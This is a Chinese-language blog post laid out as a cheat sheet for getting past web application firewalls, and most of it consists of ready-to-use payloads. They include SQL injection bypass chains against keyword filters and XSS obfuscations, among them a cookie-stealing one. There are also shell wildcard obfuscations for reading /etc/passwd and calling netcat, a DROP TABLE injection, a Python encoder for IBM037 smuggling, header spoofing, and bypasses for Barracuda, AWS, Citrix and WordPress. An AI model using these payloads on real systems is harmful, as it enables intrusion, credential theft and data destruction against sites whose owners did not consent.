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[SAFE-ID: JIWO-2024-2525] 作者: 闲云野鸡 发表于: [2019-12-20]
本文共 [450] 位读者顶过
0X00 Fuzz/爆破fuzz字典 1.Seclists/Fuzzing https://github.com/danielmiessler/SecLists/tree/master/Fuzzing 2.Fuzz-DB/Attack https://github.com/fuzzdb-project/fuzzdb/tree/master/attack 3.Other Payloads 可能会被ban ip，小心为妙。 https://github.com/foospidy/payloads 0X01 正则绕过多少waf 使用正则匹配。 黑名单检测/bypassCase: SQL 注入 • Step 1:过滤关键词: and, or, union
可能正则: preg_match('/(and|or|union)/i', $id)
被拦截的语句: union select user, password from users bypass语句: 1 || (select user from users where user_id = 1) = 'admin'
• Step 2: 过滤关键词: and, or, union, where 被拦截的语句: 1 || (select user from users where user_id = 1) = 'admin' bypass语句: 1 || (select user from users limit 1) = 'admin' • Step 3: 过滤关键词: and, or, union, where, limit 被拦截的语句: 1 || (select user from users limit 1) = 'admin' bypass语句: 1 || (select user from users group by user_id having user_id = 1) = 'admin' • Step 4: 过滤关键词: and, or, union, where, limit, group by 被拦截的语句: 1 || (select user from users group by user_id having user_id = 1) = 'admin' bypass语句: 1 || (select substr(group_concat(user_id),1,1) user from users ) = 1 • Step 5: 过滤关键词: and, or, union, where, limit, group by, select 被拦截的语句: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1 bypass语句: 1 || 1 = 1 into outfile 'result.txt' bypass语句: 1 || substr(user,1,1) = 'a' • Step 6: 过滤关键词: and, or, union, where, limit, group by, select, ' 被拦截的语句: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1 bypass语句: 1 || user_id is not null bypass语句: 1 || substr(user,1,1) = 0x61 bypass语句: 1 || substr(user,1,1) = unhex(61) • Step 7: 过滤关键词: and, or, union, where, limit, group by, select, ', hex 被拦截的语句: 1 || substr(user,1,1) = unhex(61) bypass语句: 1 || substr(user,1,1) = lower(conv(11,10,36)) • Step 8: 过滤关键词: and, or, union, where, limit, group by, select, ', hex, substr 被拦截的语句: 1 || substr(user,1,1) = lower(conv(11,10,36)) bypass语句: 1 || lpad(user,7,1) • Step 9: 过滤关键词: and, or, union, where, limit, group by, select, ', hex, substr, white space 被拦截的语句: 1 || lpad(user,7,1) bypass语句: 1%0b||%0blpad(user,7,1)
[出自:jiwo.org] 0X02 混淆/编码1. 大小写 标准: <script>alert()</script> Bypassed: <ScRipT>alert()</sCRipT> 标准: SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME' Bypassed: sELecT * FrOm all_tables whERe OWNER = 'DATABASE_NAME' 2. URL 编码 被阻断语句: <svG/x=">"/oNloaD=confirm()// Bypassed: %3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F 被阻断语句: uNIoN(sEleCT 1,2,3,4,5,6,7,8,9,10,11,12) Bypassed: uNIoN%28sEleCT+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%29 3. Unicode 编码 标准: <marquee onstart=prompt()> 混淆: <marquee onstart=\u0070r\u06f\u006dpt()> 被阻断语句: /?redir=http://google.com Bypassed: /?redir=http://google。com (Unicode 替代) 被阻断语句: <marquee loop=1 onfinish=alert()>x Bypassed: ＜marquee loop＝1 onfinish＝alert︵1)>x (Unicode 替代) TIP: 查看这些说明 this and this reports on HackerOne. :) 4. HTML 实体编码 标准: "><img src=x onerror=confirm()> Encoded: "><img src=x onerror=confirm()> (General form)
Encoded: "><img src=x onerror=confirm()> (Numeric reference)
5. 混合编码 Sometimes, WAF rules often tend to filter out a specific type of encoding. This type of filters can be bypassed by mixed encoding payloads. Tabs and newlines further add to obfuscation. 混淆: <A HREF="h tt p://6 6.000146.0x7.147/">XSS</A> 7. 双重URL编码 这个需要服务端多次解析了url编码 标准: http://victim/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\ 混淆: http://victim/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\ 标准: <script>alert()</script> 混淆: %253Cscript%253Ealert()%253C%252Fscript%253E 8. 通配符使用 用于linux命令语句注入，通过shell通配符绕过 标准: /bin/cat /etc/passwd 混淆: /???/??t /???/??ss?? Used chars: / ? t s 标准: /bin/nc 127.0.0.1 1337 混淆: /???/n? 2130706433 1337 Used chars: / ? n [0-9] 9. 动态payload 生成 标准: <script>alert()</script> 混淆: <script>eval('al'+'er'+'t()')</script> 标准: /bin/cat /etc/passwd 混淆: /bi'n'''/c''at' /e'tc'/pa''ss'wd Bash allows path concatenation for execution. 标准: <iframe/onload='this["src"]="javascript：alert()"';> 混淆: <iframe/onload='this["src"]="jav"+"as	cr"+"ipt:al"+"er"+"t()"';> 9. 垃圾字符 Normal payloads get filtered out easily. Adding some junk chars helps avoid detection (specific cases only). They often help in confusing regex based firewalls. 标准: <script>alert()</script> 混淆: <script>+-+-1-+-+alert(1)</script> 标准: <BODY onload=alert()> 混淆: <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert()>
标准: <a href=javascript;alert()>ClickMe Bypassed: <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe 10. 插入换行符 部分waf可能会对换行符没有匹配 标准: <iframe src=javascript：confirm(0)"> 混淆: <iframe src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(0)"> 11. 未定义变量 bash 和 perl 执行脚本中加入未定义变量，干扰正则。
Level 1 Obfuscation: Normal 标准: /bin/cat /etc/passwd 混淆: /bin/cat$u /etc/passwd$u Level 2 Obfuscation: Postion Based 标准: /bin/cat /etc/passwd 混淆: $u/bin$u/cat$u $u/etc$u/passwd$u Level 3 Obfuscation: Random characters 标准: /bin/cat /etc/passwd 混淆: $aaaaaa/bin$bbbbbb/cat$ccccccc $dddddd/etc$eeeeeee/passwd$fffffff 一个精心制作的payload $sdijchkd/???$sdjhskdjh/??t$skdjfnskdj $sdofhsdhjs/???$osdihdhsdj/??ss??$skdjhsiudf 12. Tab 键和换行符 大多数waf匹配的是空格不是Tab 标准: <IMG SRC="javascript：alert();"> Bypassed: <IMG SRC=" javascript：alert();"> 变形: <IMG SRC=" jav ascri pt:alert ();"> 标准: http://test.com/test?id=1 union select 1,2,3 标准: http://test.com/test?id=1%09union%23%0A%0Dselect%2D%2D%0A%0D1,2,3 标准: <iframe src=javascript：alert(1)></iframe> 混淆: <iframe src=j	a	v	a	s	c	r	i	p	t	:a	l	e	r	t	%28	1	%29></iframe> 13. Token Breakers(翻译不了 看起来说的就是sql注入闭合) Attacks on tokenizers attempt to break the logic of splitting a request into tokens with the help of token breakers. Token breakers are symbols that allow affecting the correspondence between an element of a string and a certain token, and thus bypass search by signature. However, the request must still remain valid while using token-breakers.
Case: Unknown Token for the Tokenizer Payload: ?id=‘-sqlite_version() UNION SELECT password FROM users -- Case: Unknown Context for the Parser (Notice the uncontexted bracket) Payload 1: ?id=123);DROP TABLE users -- Payload 2: ?id=1337) INTO OUTFILE ‘xxx’ --
14. 其他格式混淆 许多web应用程序支持不同的编码类型(如下表) 混淆成服务器可解析、waf不可解析的编码类型 Case: IIS IIS6, 7.5, 8 and 10 (ASPX v4.x) 允许 IBM037 字符 可以发送编码后的参数名和值 原始请求: POST /sample.aspx?id1=something HTTP/1.1 HOST: victim.com Content-Type: application/x-www-form-urlencoded; charset=utf-8 Content-Length: 41 id2='union all select * from users--
混淆请求 + URL Encoding: POST /sample.aspx?%89%84%F1=%A2%96%94%85%A3%88%89%95%87 HTTP/1.1 HOST: victim.com Content-Type: application/x-www-form-urlencoded; charset=ibm037 Content-Length: 115 %89%84%F2=%7D%A4%95%89%96%95%40%81%93%93%40%A2%85%93%85%83%A3%40%5C%40%86%99%96%94%40%A4%A2%85%99%A2%60%60
import urllib.parse, sys from argparse import ArgumentParser lackofart = ''' OBFUSCATOR ''' def paramEncode(params="", charset="", encodeEqualSign=False, encodeAmpersand=False, urlDecodeInput=True, urlEncodeOutput=True): result = "" equalSign = "=" ampersand = "&" if '=' and '&' in params: if encodeEqualSign: equalSign = equalSign.encode(charset) if encodeAmpersand: ampersand = ampersand.encode(charset) params_list = params.split("&") for param_pair in params_list: param, value = param_pair.split("=") if urlDecodeInput: param = urllib.parse.unquote(param) value = urllib.parse.unquote(value) param = param.encode(charset) value = value.encode(charset) if urlEncodeOutput: param = urllib.parse.quote_plus(param) value = urllib.parse.quote_plus(value) if result: result += ampersand result += param + equalSign + value else: if urlDecodeInput: params = urllib.parse.unquote(params) result = params.encode(charset) if urlEncodeOutput: result = urllib.parse.quote_plus(result) return result def main(): print(lackofart) parser = ArgumentParser('python3 obfu.py') parser._action_groups.pop() # A simple hack to have required arguments and optional arguments separately required = parser.add_argument_group('Required Arguments') optional = parser.add_argument_group('Optional Arguments') # Required Options required.add_argument('-s', '--str', help='String to obfuscate', dest='str') required.add_argument('-e', '--enc', help='Encoding type. eg: ibm037, utf16, etc', dest='enc') # Optional Arguments (main stuff and necessary) optional.add_argument('-ueo', help='URL Encode Output', dest='ueo', action='store_true') optional.add_argument('-udi', help='URL Decode Input', dest='udi', action='store_true') args = parser.parse_args() if not len(sys.argv) > 1: parser.print_help() quit() print('Input: %s' % (args.str)) print('Output: %s' % (paramEncode(params=args.str, charset=args.enc, urlDecodeInput=args.udi, urlEncodeOutput=args.ueo))) if __name__ == '__main__': main()
0X04 HTTP 参数污染手法这种攻击方法基于服务器如何解释具有相同名称的参数 可能造成bypass的情况: 服务器使用最后接收到的参数，WAF只检查第一个参数 服务器将来自类似参数的值联合起来，WAF单独检查它们 下面是相关服务器对参数解释的比较
0X05 浏览器的缺陷Charset Bugs:可以尝试 修改 charset header to 更高的 Unicode (eg. UTF-32) 当网站解码的时候，触发payloadExample request: GET /page.php?p=∀㸀㰀script㸀alert(1)㰀/script㸀 HTTP/1.1
Host: site.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
Accept-Charset:utf-32; q=0.5< Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate
当站点加载时，将其编码为我们设置的UTF-32编码，然后由于页面的输出编码为UTF-8，将其呈现为:"<script>alert (1) </ script> 从而触发xss 完整url编码后的 payload: %E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80Null 空字节
空字节通常用作字符串终止符
Payload 示例: <scri%00pt>alert(1);</scri%00pt> <scri\x00pt>alert(1);</scri%00pt> <s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t> 标准: <a href="javascript：alert()"> 混淆: <a href="ja0x09vas0x0A0x0Dcript:alert(1)">clickme</a> 变形: <a 0x00 href="javascript：alert(1)">clickme</a> 解析错误RFC 声明节点名不可以由空白起始 但是我们可以使用特殊字符 ` %, //, !, ?`, etc. 例子: <// style=x:expression\28write(1)\29> - Works upto IE7 (Source) <!--[if]><script>alert(1)</script --> - Works upto IE9 (Reference) <?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/> - Works in IE7 (Reference) <%div%20style=xss:expression(prompt(1))> - Works Upto IE7 Unicode 分隔符
@Masato Kinugawafuzz 后发现如下 IExplorer: 0x09, 0x0B, 0x0C, 0x20, 0x3BFireFox: 0x09, 0x20, 0x28, 0x2C, 0x3B Opera: 0x09, 0x20, 0x2C, 0x3B
Android: 0x09, 0x20, 0x28, 0x2C, 0x3B
示例 <a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>pwn3d
使用其他非典型等效语法结构替换找的waf开发人员没有注意到的语句进行攻击 一些WAF开发人员忽略的常见关键字:
SQL Operators
lpad
lpad( string, padded_length, [ pad_string ] ) lpad函数从左边对字符串使用指定的字符进行填充
field 示例payloads:FIELD(str,str1,str2,str3,...) 返回的索引（从1开始的位置）的str在str1，str2，STR3，...列表中。如果str没有找到，则返回0。 +---------------------------------------------------------+ | FIELD('ej', 'Hej', 'ej', 'Heja', 'hej', 'foo') | +---------------------------------------------------------+ | 2 | +---------------------------------------------------------+
Case: XSS
JSFuck JJEncode XChars.JS 滥用SSL/TLS密码:很多时候，服务器可以接收各种SSL/TLS密码和版本的连接。初始化到waf不支持的版本 找出waf支持的密码(通常WAF供应商文档对此进行了讨论)。 找出服务器支持的密码(SSLScan这种工具可以帮助到你)。 找出服务器支持但waf不支持的
Tool: abuse-ssl-bypass-waf
滥用 DNS 记录:
Tool: bypass-firewalls-by-DNS-history
bash bypass-firewalls-by-DNS-history.sh -d <target> --checkall
请求头欺骗让waf以为请求来自于内部网络，进而不对其进行过滤。 添加如下请求头 X-Originating-IP: 127.0.0.1X-Forwarded-For: 127.0.0.1 X-Remote-IP: 127.0.0.1 X-Remote-Addr: 127.0.0.1 X-Client-IP: 127.0.0.1
Google Dorks Approach:应对已知WAF的绕过 搜索语法:Normal search:+<wafname> waf bypass Searching for specific version exploits: "<wafname> <version>" (bypass|exploit)
For specific type bypass exploits:
"<wafname>" +<bypass type> (bypass|exploit)
On Exploit DB:
site:exploit-db.com +<wafname> bypass
On 0Day Inject0r DB:
site:0day.today +<wafname> <type> (bypass|exploit)
On Twitter:
site:twitter.com +<wafname> bypass
On Pastebin
site:pastebin.com +<wafname> bypass
0X06 拓展Bypass姿势
Airlock ErgonSQLi Overlong UTF-8 Sequence Bypass (>= v4.2.4) by @Sec Consult %C0%80'+union+select+col1,col2,col3+from+table+--+
AWS SQLi Bypass by @enkaskal "; select * from TARGET_TABLE --XSS Bypass by @kmkz <script>eval(atob(decodeURIComponent("payload")))// Barracuda
Cross Site Scripting by @WAFNinja
<body style="height:1000px" onwheel="alert(1)"> <div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)"> <b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover=alert(1)> HTML Injection by @Global-Evolution GET /cgi-mod/index.cgi?&primary_tab=ADVANCED&secondary_tab=test_backup_server&content_only=1&&&backup_port=21&&backup_username=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_type=ftp&&backup_life=5&&backup_server=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_path=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_password=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net%20width%3D800%20height%3D800%3E&&user=guest&&password=121c34d4e85dfe6758f31ce2d7b763e7&&et=1261217792&&locale=en_US Host: favoritewaf.com User-Agent: Mozilla/5.0 (compatible; MSIE5.01; Windows NT)
XSS Bypass by @0xInfection <a href=j%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At:open()>clickhere
Barracuda WAF 8.0.1 - Remote Command Execution (Metasploit) by @xort Barracuda Spam & Virus Firewall 5.1.3 - Remote Command Execution (Metasploit) by @xort Cerber (WordPress)Username Enumeration Protection Bypass by HTTP Verb Tampering by @ed0x21son
POST host.com HTTP/1.1 Host: favoritewaf.com User-Agent: Mozilla/5.0 (compatible; MSIE5.01; Windows NT) author=1 Protected Admin Scripts Bypass by @ed0x21son http://host/wp-admin///load-scripts.php?load%5B%5D=jquery-core,jquery-migrate,utils http://host/wp-admin///load-styles.php?load%5B%5D=dashicons,admin-bar REST API Disable Bypass by @ed0x21son http://host/index.php/wp-json/wp/v2/users/
Citrix NetScalerSQLi via HTTP Parameter Pollution (NS10.5) by @BGA Security <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/"> <soapenv:Header/> <soapenv:Body> <string>’ union select current_user, 2#</string> </soapenv:Body> </soapenv:Envelope>generic_api_call.pl XSS by @NNPoster http://host/ws/generic_api_call.pl?function=statns&standalone=%3c/script%3e%3cscript%3ealert(document。cookie)%3c/script%3e%3cscript%3e
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